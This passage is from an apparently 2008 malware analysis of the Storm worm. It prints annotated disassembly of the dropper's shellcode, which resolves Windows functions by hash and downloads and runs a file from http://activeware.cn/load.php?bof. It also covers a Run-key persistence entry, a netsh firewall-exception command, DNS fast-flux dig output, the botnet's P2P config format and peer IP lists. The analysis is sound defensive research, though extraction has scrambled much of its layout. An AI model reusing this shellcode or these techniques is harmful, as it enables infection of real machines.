call
51:
54:
55:
89 45 04
56
68 98 fe 8a 0e
mov %eax,0x4(%ebp) # LoadLibraryA addr
push %esi
push $0xe8afe98
5a:
5f:
62:
e8 f0 00 00 00
89 45 08
56
call 14f
mov %eax,0x8(%ebp) # WinExec addr
push %esi
63:
68:
6d:
70:
71:
76:
68 25 b0 ff c2
e8 e2 00 00 00
89 45 0c
56
68 ef ce e0 60
e8 d4 00 00 00
push
call
mov
push
push
call
%fs:0x30,%eax
0xc(%eax),%eax
0x1c(%eax),%esi
0x8(%eax),%esi
$0x400,%esp
%esp,%ebp
%esi
$0xec0e4e8e
14f
# eax = address of PEB
# eax = address of LoaderData (of type PEB_LDR_DATA)
# esi = address of the first element in the doubly linked list
# InInitializationOrderModuleList (ntdll.dll LDR_MODULE)
# eax = next element of InLoadOrderModuleList (kernel32.dll
# LDR_MODULE)
# esi = BaseAddress of kernel32.dll
# Make room in the stack
$0xc2ffb025
14f
%eax,0xc(%ebp) # DeleteFileA addr
%esi
$0x60e0ceef
14f
7b:
7e:
7f:
84:
89 45 10
56
68 c1 79 e5 b8
e8 c6 00 00 00
mov
push
push
call
%eax,0x10(%ebp) # ExitThread addr
%esi
$0xb8e579c1
14f
89:
8c:
8d:
90:
89 45 14
40
80 38 c3
75 fa
mov %eax,0x14(%ebp) # GetSystemDirectory addr
inc %eax
cmpb $0xc3,(%eax)
jne 8c
92:
95:
89 45 18
e9 07 01 00 00
mov %eax,0x18(%ebp)
jmp 1a1
9a:
9b:
9e:
a1:
a3:
a4:
a7:
a8:
5e
89 75 24
8b 45 04
6a 01
59
8b 55 18
56
e8 8b 00 00 00
pop
mov
mov
push
pop
mov
push
call
ad:
ae:
50
68 36 1a 2f 70
push %eax
push $0x702f1a36
b3:
b8:
bb:
bd:
c0:
c3:
c8:
c9:
cc:
ce:
cf:
d2:
e8 97 00 00 00
89 45 1c
8b c5
83 c0 50
89 45 20
68 ff 00 00 00
50
8b 45 14
6a 02
59
8b 55 18
e8 61 00 00 00
call
mov
mov
add
mov
push
push
mov
push
pop
mov
call
d7:
da:
e0:
e7:
ea:
ed:
ef:
f0:
f3:
03 45 20
c7 00 5c 7e 2e 65
c7 40 04 78 65 00 00
ff 75 20
8b 45 0c
6a 01
59
8b 55 18
e8 40 00 00 00
add 0x20(%ebp),%eax
# ************************************
movl $0x652e7e5c,(%eax)
# * Now append "\~.exe" string to the end of the result
movl $0x6578,0x4(%eax)
# ************************************
pushl 0x20(%ebp)
mov 0xc(%ebp),%eax
push $0x1
pop %ecx
mov 0x18(%ebp),%edx
call 138
# DeleteFileA(lpFileName=&filename)
f8:
fa:
fb:
fe:
100:
101:
102:
105:
106:
107:
10a:
10c:
10d:
6a 07
58
03 45 24
33 db
53
53
ff 75 20
50
53
8b 45 1c
6a 05
59
8b 55 18
push $0x7
pop %eax
add 0x24(%ebp),%eax # address of the URL string
xor %ebx,%ebx
push %ebx
push %ebx
pushl 0x20(%ebp)
push %eax
push %ebx
mov 0x1c(%ebp),%eax
push $0x5
pop %ecx
mov 0x18(%ebp),%edx
%esi
%esi,0x24(%ebp)
0x4(%ebp),%eax
$0x1
%ecx
0x18(%ebp),%edx
%esi
138
# esi = 0x1a6 (address of the dropper embeded data)
# LoadLibraryA("URLMON")
# URLMon.dll image base address
14f
%eax,0x1c(%ebp)
# URLDownloadToFileA addr
%ebp,%eax
$0x50,%eax
%eax,0x20(%ebp) # Pointer to local variable on the stack (download destination path)
$0xff
%eax
0x14(%ebp),%eax
$0x2
%ecx
0x18(%ebp),%edx
138
# GetSystemDirectory(lpBuffer=&filename, uSize=0xff)
# URLDownloadToFileA(pCaller=0, szURL="http://activeware.cn/load.php?bof", szFileName=&filename, dwReserved=0,
lpfnCB=0)
110:
115:
117:
11a:
11d:
e8 23 00 00 00
6a 00
ff 75 20
8b 45 08
6a 02
call 138
push $0x0
pushl 0x20(%ebp)
mov 0x8(%ebp),%eax
push $0x2
11f:
120:
123:
59
8b 55 18
e8 10 00 00 00
pop %ecx
mov 0x18(%ebp),%edx
call 138
# WinExec(lpCmdLine=&filename, uCmdShow=0)
128:
12a:
12d:
12f:
130:
133:
6a ff
8b 45 10
6a 01
59
8b 55 18
e8 00 00 00 00
push
mov
push
pop
mov
call
$0xffffffff
0x10(%ebp),%eax
$0x1
%ecx
0x18(%ebp),%edx
138
# ExitThread(dwExitCode=0xffffffff)
##################################################################
# Mess with the stack and then jump to the address pointed by eax
##################################################################
138:
139:
13a:
13b:
13d:
13f:
141:
143:
146:
147:
148:
14a:
41
5b
52
03 e1
03 e1
03 e1
03 e1
83 ec 04
5a
53
8b da
e2 f7
inc
pop
push
add
add
add
add
sub
pop
push
mov
loop
%ecx
%ebx
%edx
%ecx,%esp
%ecx,%esp
%ecx,%esp
%ecx,%esp
$0x4,%esp
%edx
%ebx
%edx,%ebx
143
14c:
14d:
52
ff e0
push %edx
jmp *%eax
##############################################
# Home-made implomentation of GetProcAddress()
##############################################
14f:
150:
152:
155:
158:
159:
15c:
160:
162:
163:
166:
168:
16a:
16b:
16c:
16d:
16f:
170:
55
push %ebp
8b ec
mov %esp,%ebp
8b 7d 08
mov 0x8(%ebp),%edi
# edi = Hash of the function's name to locate
8b 5d 0c
mov 0xc(%ebp),%ebx
56
push %esi
8b 73 3c
mov 0x3c(%ebx),%esi
8b 74 1e 78
mov 0x78(%esi,%ebx,1),%esi
03 f3
add %ebx,%esi
56
push %esi
8b 76 20
mov 0x20(%esi),%esi
03 f3
add %ebx,%esi
33 c9
xor %ecx,%ecx
49
dec %ecx
41
inc %ecx
ad
lods %ds:(%esi),%eax
03 c3
add %ebx,%eax
56
push %esi
33 f6
xor %esi,%esi
# ebx = BaseAddress of the DLL
# esi = Begining of PE data (COFF header)
# esi = Starting address of the DLL's .edata section
# esi = AddressOfNames (DLL's exports)
# eax = Address of export's name
# Calculate a hash of the function's name
172:
175:
177:
179:
17c:
17e:
17f:
0f be 10
3a f2
74 08
c1 ce 0d
03 f2
40
eb f1
movsbl (%eax),%edx
cmp %dl,%dh
je 181
# Funny way to look for the end of null terminated string...
ror $0xd,%esi
add %edx,%esi
inc %eax
jmp 172
# more characters...
181:
183:
184:
186:
187:
3b fe
5e
75 e5
5a
8b eb
cmp
pop
jne
pop
mov
%esi,%edi
%esi
16b
%edx
%ebx,%ebp
# if the function's name hash didn't match - try the next function
# edx = Starting address of the DLL's .edata section
189:
18c:
18e:
192:
195:
197:
19a:
19c:
19d:
19e:
8b 5a 24
03 dd
66 8b 0c 4b
8b 5a 1c
03 dd
8b 04 8b
03 c5
5e
5d
c2 08 00
mov
add
mov
mov
add
mov
add
pop
pop
ret
0x24(%edx),%ebx
%ebp,%ebx
(%ebx,%ecx,2),%cx
0x1c(%edx),%ebx
%ebp,%ebx
(%ebx,%ecx,4),%eax
%ebp,%eax
%esi
%ebp
$0x8
1a1:
e8 f4 fe ff ff
call 9a
# ebx = .edata AddressOfNameOrdinals
# ecx = ordinal of the requested function
# ebx = .edata AddressOfFunctions
# eax = Pointer to the requested function
#######################################
# Begining of the embeded data section
#######################################
# Library the dropper needs:
1a6: .string "URLMON"
########################### xor decoding ends here ##################
# URL to download
1ad: .string "http://activeware.cn/load.php?bof"
Shellcode sequence:






Find the base virtual address for kernel32.dll.
Use a self implemented version of GetProcAddress() which get two arguments:
➔ Start address of a DLL COFF image.
➔ 32 bit hash of the function name that needed to be located.
This function find the address of the required function by looking at it's
containing DLL image's COFF header in the memory.
Get the address of functions it need from kernel32.dll including LoadLibraryA
then loads URLMon.DLL and get the address of the exported function
URLDownloadToFileA from it.
Use URLDownloadToFileA to download http://activeware.cn/load.php?bof to
%SysDir\~.exe.
Use WinExec to execute the downloaded file.
Exit the hosting process cleanly (via ExitThread()).
Notes:


Since nothing is known to Storm about the memory space of the hosting process
Storm can't find the base address of neither the required DLLs nor the pointers to
the required functions.
Hence, it uses undocumented architecture of Windows like Process Environment
Block and Loader Data.
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT
%20Objects/Process/PEB.html
A pointer to the process environment block can always be found on the memory
location FS:[0x30] so Storm can find the rest of the information from there.
The custom implementation of GetProcAddress() find a point to a function that its
name's hash matches a 32 bit number (instead of find it by the function name like
the real GetProcAddress()).

This is very useful for reducing the shellcode size (since in Windows most of the
functions' name exported by DLLs are far more then 4 characters including the
null character at the end) and to avoid explicit names of functions like
URLDownloadToFileA and WinExec in the shellcode.
The string of the URL to download from (http://activeware.cn/load.php?bof) is
not decrypted in the shellcode under the XOR decryption this may indicate that
the XOR encryption key of the shellcode doesn't change periodically (If it was
changed periodically by Storm then why don't encrypt the name of the file to
download also?) and that all the shellcodes of Storm all over the world have the
same binary values (except the encoding to the file to download from in the end
of the shellcode) i.e. encoded with the same key.
Storm's dropper sequence
On this section I will describe the sequence executed by Storm's dropper from the
moment of it's execution until the moment it exits.
When the dropper executed, it first copies itself to a file in Windows' system directory:
Note that the file C:\WINDOWS\msvupdater.exe\:Zone.Identifier:$DATA is an alternate
NTFS stream of the executable file which is used by Windows shell to associate security
levels to files and it particular to display the following dialog:
After I will uncheck the option “Always ask before opening this file” this alternate stream
will be deleted.
This alternate stream was copied along with the original file because the original dropper
file had this stream and the default behaviour of WIN32 CopyFile() is to copy the file's
alternate stream along with the primary stream of the file.
The next step of the dropper is to make sure that the file it just copied will be running
after the computer will be rebooted:
The above SetValue operation will start the worm everytime the current user will log-in.
Next, the dropper make sure that Windows firewall will not try to block him by running
the following command line:
netsh firewall set allowedprogram "C:\WINDOWS\msvupdater.exe" enable
Note that netsh.exe is a standard Windows tool which allows program to manipulate the
network's settings from the command line.
The last step of the dropper is to execute the copied file C:\WINDOWS\msvupdater.exe
and exit.
The SHA1 checksum of created file msvupdater.exe is:
7c7cdaa2c6ea4df8d32b446101434885e5d515f4.
This checksum uniquely distinguish the variant of Storm that I investigated.
Storm's DNS fast fluxing
Storm is using a technique called “DNS fast flux” to increase it's web servers'
survivability.
The issue that this technique is trying to solve is that authorities on the Internet will
eventually discover the machines which host Storm's web servers and will shut them
down.
The concept of the technique is to use DNS to map a fixed Internet name to everchanging pool of IP addresses.
Thus, shutting down several machines will still not prevent a Storm's web server to be
accessible from the Internet.
The reason for that is because translating the Internet name of the server to an IP address
will produce different IP address than the addresses that were just shut down.
The constant changing of the IP addresses assigned to an Internet name is done in two
levels in the DNS protocol:
1. On every particular time, an Internet name is associated with many IP addresses
while the DNS server works in round robin mode – meaning on every name query
it will change the order of the IP addresses in it's reply message (i.e. the third IP
from the previous result will become second, the second will become first and the
first will become last).
This will effectively change the result of the name look-up since most
implementations of the DNS client only take the first IP address in the query
result and ignore the other addresses.
The DNS round robin mechanism was implemented in order to support better load
balancing on the DNS server but here Storm uses it for it's own purpose.
2. Using DNS round robin alone does not necessarily improve the survivability of
the worm's servers since the DNS server itself becomes a battle-neck – shutting
down the DNS server will cause the web server to be shut down.
Thus, Storm uses another mechanism to cope with that problem: It makes the
machines which hosts the DNS server to constantly change either.
Each DNS name or name server is given a very low expiration time (several
minutes) and when it expires it being replaced by another IP address.
To demonstrate this capability I ran two dig queries
(For information about dig, see manual page in http://www.manpagez.com/man/1/dig/)
On the server activeware.cn which is a Storm web server that I also used to infect my VM
from it.
I ran two queries with 5 hours delay between each of them:
First query:
; <<>> DiG 9.5.0rc1 <<>> activeware.cn
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7171
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 5
;; QUESTION SECTION:
;activeware.cn.
;; ANSWER SECTION:
activeware.cn.
60
IN
IN
A
A
88.86.197.153
;; AUTHORITY SECTION:
activeware.cn.
activeware.cn.
activeware.cn.
activeware.cn.
activeware.cn.
activeware.cn.
21593
21593
21593
21593
21593
21593
;; ADDITIONAL SECTION:
ns.verynicebank.com. 172793
ns2.verynicebank.com. 172793
ns3.verynicebank.com. 172793
ns4.verynicebank.com. 172793
ns6.verynicebank.com. 60
;;
;;
;;
;;
IN
IN
IN
IN
IN
IN
NS
NS
NS
NS
NS
NS
ns5.verynicebank.com.
ns6.verynicebank.com.
ns.verynicebank.com.
ns2.verynicebank.com.
ns3.verynicebank.com.
ns4.verynicebank.com.
IN
IN
IN
IN
IN
A
A
A
A
A
86.121.83.134
70.118.103.166
84.3.180.127
70.69.70.17
60.62.215.52
Query time: 1 msec
SERVER: 192.168.2.1#53(192.168.2.1)
WHEN: Fri Jun 27 11:03:13 2008
MSG SIZE rcvd: 250
Second query:
; <<>> DiG 9.5.0rc1 <<>> activeware.cn
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33235
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 6
;; QUESTION SECTION:
;activeware.cn.
IN
A
;; ANSWER SECTION:
activeware.cn.
60
IN
A
79.117.167.245
;; AUTHORITY SECTION:
activeware.cn.
activeware.cn.
activeware.cn.
activeware.cn.
activeware.cn.
activeware.cn.
21598
21598
21598
21598
21598
21598
IN
IN
IN
IN
IN
IN
NS
NS
NS
NS
NS
NS
ns6.verynicebank.com.
ns.verynicebank.com.
ns2.verynicebank.com.
ns3.verynicebank.com.
ns4.verynicebank.com.
ns5.verynicebank.com.
IN
IN
IN
IN
IN
IN
A
A
A
A
A
A
64.93.40.228
79.112.136.176
83.6.78.129
194.44.69.169
190.30.146.179
85.186.30.191
;; ADDITIONAL SECTION:
ns.verynicebank.com. 172798
ns2.verynicebank.com. 172798
ns3.verynicebank.com. 172798
ns4.verynicebank.com. 172798
ns5.verynicebank.com. 58
ns6.verynicebank.com. 58
;;
;;
;;
;;
Query time: 1 msec
SERVER: 192.168.2.1#53(192.168.2.1)
WHEN: Fri Jun 27 15:52:24 2008
MSG SIZE rcvd: 266
It can be seen that the name servers and the translation of the name activeware.cn are
completely different in the second query.
Also we notice that the time to live of the name activewave.cn is very low (60 seconds)
and the time to live of it's authoritative name servers (i.g. ns5.veryniceback.com) is
approximately 6 hours – also very low for a name servers.
Storm's Kernel mode components
It was reported in the internet that Storm uses a sophisticated dropper which injects one
of it's modules into the process of services.exe's memory space and make it run in kernel
mode using the function KeInsertQueueApi().
Monitoring the dropper system calls indicated that Storm had evolved to stop using
kernel components for hosts infections – In the system calls trace file (generated by
strace-NT), there are no calls to the functions: KeInsertQueueApi, KeAttachProcess and
ZwOpenProcess that Storm was used in the past in order to infect hosts.
Analyzing the infected machine's behavior
The output of netstat -anp
Active Connections
Proto
Local Address
Foreign Address
State
PID
TCP
0.0.0.0:135
0.0.0.0:0
c:\windows\system32\WS2_32.dll
C:\WINDOWS\system32\RPCRT4.dll
c:\windows\system32\rpcss.dll
C:\WINDOWS\system32\svchost.exe
-- unknown component(s) -[svchost.exe]
LISTENING
776
TCP
0.0.0.0:445
[System]
0.0.0.0:0
LISTENING
4
TCP
127.0.0.1:1025
[alg.exe]
0.0.0.0:0
LISTENING
1688
UDP
0.0.0.0:445
[System]
*:*
4
UDP
0.0.0.0:30328
[msvupdater.exe]
*:*
1780
UDP
0.0.0.0:4500
[lsass.exe]
*:*
544
UDP
0.0.0.0:500
[lsass.exe]
*:*
544
UDP
127.0.0.1:1900
*:*
c:\windows\system32\WS2_32.dll
c:\windows\system32\ssdpsrv.dll
C:\WINDOWS\system32\ADVAPI32.dll
C:\WINDOWS\system32\kernel32.dll
[svchost.exe]
892
UDP
127.0.0.1:123
*:*
c:\windows\system32\WS2_32.dll
c:\windows\system32\w32time.dll
ntdll.dll
812
C:\WINDOWS\system32\kernel32.dll
[svchost.exe]
To verify that no rootkit is trying to hide TCP sockets in LISTENING state I used port
scanner from my host operating system to scan the ports of the infected virtual machine
and saw that only the LISTENING ports from the above netstat output were reported as
open by the port scanner.
It only verified the correctness of the TCP listening sockets though.
Port scanning is a known technique to check for ports that a remote machine is listening
on.
It works by trying to establish a TCP connection with the target machine on a given port
number. If it succeed (the three way handshake goes smooth) – the port is reported as
OPEN and if it fails the port is reported as CLOSED.
After that, the scanner is moving to the next port, tries to connect it and so on until all the
ports had been scanned.
Going over the list of open ports we can see that all the open ports belongs to known
Windows services except UDP port 30328 (belongs to a process named msvupdater.exe).
Closer look at msvupdater.exe
From looking at the file activity monitoring of storm's dropper we can see that it installed
the program:
C:\Windows\msvupdater.exe
And I could find an entry referencing this file in the registry location:
HKCU\Software\Microsoft\Window\CurrentVersion\Run
Which makes it run automatically every time Windows starts.
Monitoring the file-system activities of msvupdater.exe reveals huge access for both read
and write the a file named:
C:\Windows\msvupdater.config
Content of msvupdater.config:
[config]
ID=2099124188
[local]
uport=30328
[peers]
B45C0AE93FCC15A5FF9595B8A253DDB7=C3B6DC6E77E900
A6463B241C1766D802A3FD2F19630EA8=4CF54C894F4400
1E102CCE13207B62DC09DCAA9C8BC8D2=3E7846587A7500
2FA165BEF5FD8ED24B81B09D9BBFABCD=4F6F1CCF093500
18598B8597518533FB1A89498B312DDB=7C78B930187C00
FE8A6B270B855132F0029478333F0EB9=5D7B81614C7200
E52D75F90A0D01B2FF379E6B903F6E06=BE339FCE468100
109692A73E24DD23F4CADB997AB8CAE5=BD698558420600
C39EFB4A9E8FE0AC7E1716EB62C43840=4FBA23F148BE00
4127D4E3E20FF62A48706280B8052EB0=5154E4262B6700
756FCDFFF811AB6123DE95EAF07BF277=5C643682232B00
A0E5BD163BA46F0F3E3DC344FC0515CA=42B162CD7DFE00
1AC99F3780B48104C31ABBD8643FEB00=44E742A8048300
E5E6E3E138AB98F3B07BC2E7C0CC8E85=473EF8CB63E800
D6BDE9B1A167044F3B7D53F0E805507C=4E1ED33A504B00
5FCD46E468A17B62F4B4DF14EF26E1DB=D261A3BB71D400
5445C24AE6E71ACC06D69F853E4646ED=C9AA3BC0606600
3A6281509131D64609F73F256734C51C=58F5C3A95F5200
... 443 line like that ...
The above file have a format similar to Windows INI files.
This is Storm's P2P configuration file and the read/write access logged in the file
monitoring is the constant updating of this file's content.
In an important research about Storm, Joe Stewart of SecureWorks, analyzed various
Storm components and determined that Storm's bot-net is running using the Overnet
protocol and that the msvupdater.config is used for Storm in order to bootstrap into this
Overnet bot-net.
We will now take a little detour to describe the basics of the Overnet protocol and then
we will be back to explain Storm's bot-net internals.
Concepts of the Overnet protocol
Overnet was a decentralized peer to peer computer network, usually used for sharing
large files (e.g., movies and CD images). Overnet implements the Kademlia algorithm. In
late 2006, Overnet and all Overnet-owned resources were taken down as a result of legal
actions from the RIAA and others.
Kademlia is a distributed hash table for decentralized peer to peer computer network.
Each node is identified by a number or node ID (in Overnet this node ID is a 128 bit
number). The node ID serves not only as identification, but the Kademlia algorithm uses
the node ID to locate values (usually file hashes or keywords). In fact, the node ID
provides a direct map to file hashes and that node stores information on where to obtain
the file.
In normal hash table (in common implementation), the key's hash is used to locate the
element in an array that points to the list of table entries (which are <key, value> pairs)
that contain the entries for this particular key.
In distributed hash table the key's hash is used to locate the machine which stores the
table entries for that particular key.
The diagram below illustrate it:
Normal hash table
Distributed hash table
The key look-ups in the Kademlia distributed hash table is purely decentralized: in every
step of the look-up algorithm there no single authority or server which is required in
order to proceed (no single point of failure).
The hash table entry in Overnet is a pair <key,value> where value consist of the node ID
which published this entry and some arbitrary variable length tags to describe the file.
The idea behind Kademlia is that a distance relation (which is a total order) is defined
between every two node IDs/file hashes.
The distance between two 128 bit numbers A and B is defined as the number of bits
which has the value “1” in the result of the expression (A XOR B).
The node that has the “closest” distance to a certain file hash in the entire network will
become the owner of the hash entry (note that it will become the owner of the entry and
NOT the owner of file itself – meaning it will only refer other nodes who wants to
download the file to the original source of the it).
Every node keeps 128 lists of K nodes each (where K is a constant),
where in the i–th list it keeps known nodes which has the distance of i from the current
node.
●
Notice that there is maximum of 128 possible nodes with distance 1 from the
128 2
current node and
possible node with distance of 2 and generally
2
128

 nodes with distance i from the current node.
i
The number of nodes with a certain distance i is decreasing when i gets bigger and
approaches 128.
This means that a node will have more information about nodes "closer" to it than nodes
which are more "far" from it (since for every distance i it has K nodes out of total of
 128 nodes).
i
In order for node A to search for a file, it select from its known list of nodes the node
with the closest ID to the hash (lets say node B).
If node B has the map entry corresponding to this hash then it will reply with the details
about how to obtain this file and we're done.
If node B doesn't possess the entry, it responds with a list of nodes which have closer IDs
to the hash than itself (let's say node C is on the list)
➔ Node B has more information about nodes “closer” to it than node A and since the
searched-for hash is “closer” to node B's ID – node B will probably have more
information then node A about the existence of nodes which are “closer” to the
hash.
Node C is then asked for the same hash in the same way again and this process repeats
itself (at most 128 times) until we find the node with the closest ID to the hash in the
whole network and then node A will know the content of this hash entry.
When a node has a file that it wants to share it does the following:
1. Calculate the file's hash and generate the hash table entry for this file.
2. Search for the node with the closest ID to the hash by using the algorithm
described above.
3. Publish this hash table entry on the node found on the previous stage – meaning it
tells this node that it is responsible for holding the hash map entry for this certain
hash, and to return the hash map entry for anyone who ask for it.
For more detailed information about Kademlia (recommended to read in order to
understand the bot-net):
http://en.wikipedia.org/wiki/Kademlia
Analysis of msvupdater.config
Mainly based on the analysis of Joe Stewart from 8/2/07
http://www.secureworks.com/research/threats/storm-worm
The values in this file is required in order to participate in the bot-net which is in fact
running under Overnet protocol.
•
•
•
The config section
➔ The value ID is probably used for deriving the encryption key for the UDP
communication and thus determines which portion of the bot-net this machine
belongs (more details about it in the rest of this work).
The local section
➔ The value uport configures the local UDP port to listen to.
The peers section
➔ The value before the `=' sign specify a peer ID in the Overnet network.
➔ The value after the `=' sign is the IP address and the UDP port number of the
peer using the following encoding:
■ The first 4 hexadecimal bytes are the host IP address, example:
C3B6DC6E = 0xc3.0xb6.0xdc.0x6e = 195.182.220.110
■ The next 2 hexadecimal bytes are the host's UDP port number, example:
77E9 = 30697
■ The last hexadecimal byte is always 00.
In normal Overnet network an hash, calculated from the file's content, is used to uniquely
identify the a file. In the modified version of Overnet protocol used by Storm the hash is
just a random number used to identify a file.
Storm's network activities
Network monitoring reveals huge amount of encrypted UDP packets exchanging between
my infected VM and other hosts in the Storm's bot-net.
This is the expected behavior since Overnet protocol is using UDP to communicate.
According to Joe Stewart, those communications are made using eDonkey/Overnet
protocol and used to locate URLs of Storm's executables in the Internet. Each executable
provide certain aspect of Storm's functionality. For example DDoS attack, email stealer
etc.
The worm is periodically searching the bot-net for those executables which are secondary
injection files. When it founds one, it download it and executes it.
According to Stewart, Storm is using the current date and a random number between 1
and 32 to generate the hash it should look for in the bot-net.
This gives the bot-net master 32 possible hash values per day to publish his secondary
injection files under.
This also provides a way for the bot-net master to publish updates for the worm's client
software.
During the three days of Storm monitoring period, my VM communicated with 116,418
different hosts using UDP port 30328.
I made a script to analyze the UDP traffic and try to identify the most important hosts in
the bot-net.
I focused on the number of packets which was transferred per host.
50 most communicated hosts (sorted by total packets transferred):
IP Address
Name (retrieved from
reverse DNS look-up)
Total packets
Packets sent
Packet received
132.239.1.114
fluffybunnies.ucsd.edu
54318
28583
25735
219.18.182.18
softbank219018182018.
bbtec.net
34947
18812
16135
64.95.58.148
33468
17787
15681
66.150.62.169
32785
17478
15307
64.95.58.135
32678
17311
15367
d54C1D170.access.telen 32530
et.be
16729
15801
66.150.62.183
32304
17156
15148
64.95.58.156
31654
16695
14959
66.150.62.186
31266
16571
14695
31092
16440
14652
64.95.58.140
29525
15903
13622
85.202.230.222
27597
19668
7929
66.150.62.166
27526
14500
13026
89.25.88.30
25034
13148
11886
84.193.209.112
216.255.189.211
216.255.189.211custblock.intercage.com
66.176.85.222
c-66-176-85-222.hsd1.fl. 24693
comcast.net
13262
11431
68.36.79.39
c-68-36-79-39.hsd1.nj.c
omcast.net
23803
12748
11055
22961
11961
11000
22555
64.95.58.157
66.150.62.172
12143
10412
68.32.120.7
c-68-32-120-7.hsd1.md.
comcast.net
22028
12240
9788
123.203.189.183
123203189183.ctinets.co 21198
m
11309
9889
21107
11264
9843
69.127.179.192
ool-457fb3c0.dyn.optonl 20193
ine.net
10519
9674
76.102.35.50
c-76-102-35-50.hsd1.ca. 19703
comcast.net
10882
8821
85.249.144.132
19227
10138
9089
75.35.228.155
19104
10336
8768
64.95.58.141
19081
10560
8521
68.32.201.238
c-68-32-201-238.hsd1.pa 18989
.comcast.net
10462
8527
85.55.36.213
213.pool85-55-36.dyna
mic.orange.es
18890
10036
8854
18623
9799
8824
88.27.158.2
2.Red-88-27-158.staticIP 18579
.rima-tde.net
7879
10700
76.18.129.106
c-76-18-129-106.hsd1.tn 18373
.comcast.net
9450
8923
66.150.62.173
217.195.186.2
222.112.4.40
18179
10142
8037
96.225.80.244
17917
9279
8638
89.40.251.34
17840
9400
8440
70.105.171.223
pool-70-105-171-223.nw 17840
rknj.fios.verizon.net
9212
8628
70.173.166.145
ip70-173-166-145.lv.lv.c 17810
ox.net
9259
8551
70.180.230.196
ip70-180-230-196.lv.lv.c 17810
ox.net
9237
8573
61.203.173.80
80.173.203.61.ap.yourne 17804
t.ne.jp
9097
8707
77.102.163.241
17741
9823
7918
68.11.55.167
17730
9864
7866
17726
9752
7974
17554
9081
8473
17545
8958
8587
17501
8899
8602
17424
8954
8470
17392
9035
8357
17387
9017
8370
206.72.71.194
206-72-71-194.dock.net
96.230.198.202
88.245.88.203
64.22.202.194
adp.lindquistt1.netexpress.net
82.103.113.67
168.103.238.25
85.145.84.86
168-103-238-25.ptld.qw
est.net
70.109.128.46
pool-70-109-128-46.cnc
dnh.east.verizon.net
17317
8837
8480
72.202.139.229
17300
8993
8307
70.254.159.123
adsl-70-254-159-123.dsl 17249
.wcfltx.sbcglobal.net
8941
8308
Example for UDP conversation with another host in the bot-net:
07:17:12.028800
0x0000:
0x0010:
0x0020:
0x0030:
07:17:12.480708
0x0000:
0x0010:
0x0020:
07:17:12.480903
0x0000:
0x0010:
0x0020:
07:17:12.481015
0x0000:
0x0010:
0x0020:
0x0030:
07:17:12.481117
0x0000:
0x0010:
0x0020:
07:17:12.923692
0x0000:
0x0010:
0x0020:
0x0030:
07:17:12.928751
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0x0050:
07:17:12.933074
0x0000:
0x0010:
0x0020:
07:17:15.560393
0x0000:
0x0010:
0x0020:
07:17:15.560393
0x0000:
0x0010:
0x0020:
07:17:24.505306
0x0000:
0x0010:
0x0020:
07:17:24.505455
0x0000:
0x0010:
0x0020:
0x0030:
...
✔
✔
IP 192.168.2.105.30328 > 69.127.179.192.4989: UDP, length 25
4500 0035 0024 0000 8011 7e43 c0a8 0269 E..5.$....~C...i
457f b3c0 7678 137d 0021 1574 10a6 f411 E...vx.}.!.t....
29d2 80ac d73f cd75 7fb2 1f2b 7abb 633d )....?.u...+z.c=
e613 a71a 46
....F
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 2
4500 001e 1d88 0000 7211 6ef6 457f b3c0 E.......r.n.E...
c0a8 0269 137d 7678 000a a8ec 10a7 90fa ...i.}vx........
457f b3c0 598a fc64 137d 7678 000a
E...Y..d.}vx..
IP 192.168.2.105.30328 > 69.127.179.192.4989: UDP, length 2
4500 001e 0047 0000 8011 7e37 c0a8 0269 E....G....~7...i
457f b3c0 7678 137d 000a a8df 10b4 0000 E...vx.}........
0000 0000 0000 0000 0000 0000 0000
..............
IP 192.168.2.105.30328 > 69.127.179.192.4989: UDP, length 25
4500 0035 0048 0000 8011 7e1f c0a8 0269 E..5.H....~....i
457f b3c0 7678 137d 0021 099d 10a0 f411 E...vx.}.!......
29d2 80ac d73f cd75 7fb2 1f2b 7abb 3ab7 )....?.u...+z.:.
1a77 a71a 46
.w..F
IP 192.168.2.105.30328 > 69.127.179.192.4989: UDP, length 4
4500 0020 0049 0000 8011 7e33 c0a8 0269 E....I....~3...i
457f b3c0 7678 137d 000c fc79 10b1 ac64 E...vx.}...y...d
0000 0000 0000 0000 0000 0000 0000
..............
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 24
4500 0034 1ef6 0000 7211 6d72 457f b3c0 E..4....r.mrE...
c0a8 0269 137d 7678 0020 049b 10bf f762 ...i.}vx.......b
5bec ebd1 9c7e 8012 0e12 18e7 02cd 2642 [....~........&B
55d3 a27f
U...
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 257
4500 011d 1ef9 0000 7211 6c86 457f b3c0 E.......r.l.E...
c0a8 0269 137d 7678 0109 cb71 10a1 530e ...i.}vx...q..S.
4ffe c740 c225 9b04 7b93 3e3d c05f ee8f O..@.%..{.>=._..
9d05 66d6 18e8 beca 891b bd51 842b b4b8 ..f........Q.+..
3162 750a fced c132 4d60 5b57 7e74 8116 1bu....2M`[W~t..
5dd6 ...
].
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 6
4500 0022 1efb 0000 7211 6d7f 457f b3c0 E.."....r.m.E...
c0a8 0269 137d 7678 000e 2297 10b6 0184 ...i.}vx..".....
84ba 6d96 598a fc64 137d 7678 000e
..m.Y..d.}vx..
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 2
4500 001e 2448 0000 7211 6836 457f b3c0 E...$H..r.h6E...
c0a8 0269 137d 7678 000a a8dc 10b7 0b07 ...i.}vx........
457f b3c0 598a fc64 137d 7678 000a
E...Y..d.}vx..
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 2
4500 001e 2448 0000 7211 6836 457f b3c0 E...$H..r.h6E...
c0a8 0269 137d 7678 000a a8dc 10b7 0b07 ...i.}vx........
457f b3c0 598a fc64 137d 7678 000a
E...Y..d.}vx..
IP 69.127.179.192.4989 > 192.168.2.105.30328: UDP, length 2
4500 001e 3412 0000 7211 586c 457f b3c0 E...4...r.XlE...
c0a8 0269 137d 7678 000a a8ec 10a7 8fe3 ...i.}vx........
